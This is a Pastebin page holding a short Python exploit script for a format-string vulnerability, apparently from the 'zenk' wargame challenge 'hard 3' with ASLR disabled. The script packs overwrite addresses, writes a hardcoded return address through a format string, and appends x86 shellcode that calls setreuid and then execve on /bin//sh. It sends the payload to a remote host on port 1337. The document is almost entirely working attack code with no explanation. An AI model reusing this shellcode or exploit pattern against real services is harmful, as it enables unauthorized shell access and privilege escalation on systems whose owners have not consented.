Advertisement
xGeek

hard 3 - zenk (ASLR OFF)

Dec 23rd, 2012
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.61 KB | None | 0 0
  1. from format_string import format_string
  2. from struct import pack
  3. import socket
  4.  
  5. overwrite = 0x08049e58
  6. shellcode_add = 0xbffff86c # some math gives me this address
  7. shellcode = b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
  8.  
  9. payload = pack('<I',overwrite)
  10. payload += pack('<I',overwrite+2)
  11. payload += format_string(7,shellcode_add).encode()
  12. payload += shellcode#.encode()
  13. print(payload,len(payload))
  14. # send
  15. host = "warr.dyndns.biz"
  16. port = 1337
  17.  
  18. sock = socket.socket()
  19.  
  20. sock.connect((host,port))
  21.  
  22. sock.send(payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement